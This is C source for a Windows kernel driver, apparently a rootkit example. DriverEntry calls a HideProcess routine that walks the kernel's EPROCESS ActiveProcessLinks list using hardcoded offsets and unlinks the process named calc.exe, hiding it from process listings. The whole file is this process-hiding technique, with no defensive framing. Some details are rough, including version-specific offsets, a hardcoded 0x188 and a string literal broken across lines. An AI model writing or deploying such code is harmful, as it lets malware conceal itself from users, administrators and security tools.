HideProcess

 1 #ifndef CXX_HIDEPROCESS_H
 2 #    include "HideProcess.h"
 3 #endif
 4 
 5 
 6 
 7 #ifdef _WIN64
 8 #define  ActiveProcessLinksOffset_EPROCESS  0x188
 9 #define  ImageFileNameOffset_EPROCESS       0x2e0
10 #else
11 #define  ActiveProcessLinksOffset_EPROCESS  0x088
12 #define  ImageFileNameOffset_EPROCESS       0x174
13 #endif
14 
15 
16 
17 
18 
19 
20 NTSTATUS  DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegisterPath)
21 {
22 
23     //卸载当前驱动例程
24     DriverObject->DriverUnload = UnloadDriver;  
25     HideProcess("calc.exe");
26     return STATUS_SUCCESS;
27 }
28 
29 VOID  UnloadDriver(PDRIVER_OBJECT DriverObject)
30 {
31 
32 }
33 
34 VOID HideProcess(char* szProcessName)
35 {
36 
37     PLIST_ENTRY  ListEntry = NULL;   
38     PEPROCESS  EProcess = NULL;
39     char*       szName = NULL;
40     PEPROCESS  TravelEProcess = NULL;    
41     PEPROCESS  BadEProcess = NULL;
42     EProcess = IoGetCurrentProcess();   // System.exe
43 
44     if (szProcessName==NULL)
45     {
46         return;
47     }
48     if (EProcess==NULL)
49     {    
50         return;
51     }
52     TravelEProcess = EProcess;
53 
54 
55     BadEProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcess+ActiveProcessLinksOffset_EPROCESS+8)))-0x188);
56 
57     do 
58     {
59     
60         if (TravelEProcess!=BadEProcess)   
61         {
62             szName = (char*)((ULONG_PTR)TravelEProcess+ImageFileNameOffset_EPROCESS);   //Next
63             DbgPrint("%s
",szName);
64 
65             if (strstr(szName,szProcessName)!=NULL)
66             {
67                 RemoveEntryList(ListEntry);   //
68 
69                 break;
70             }
71         }
72         
73         TravelEProcess = (PEPROCESS)((*(ULONG_PTR*)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS))-ActiveProcessLinksOffset_EPROCESS);
74         ListEntry = (PLIST_ENTRY)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS);
75     }while (TravelEProcess!=EProcess);
76 }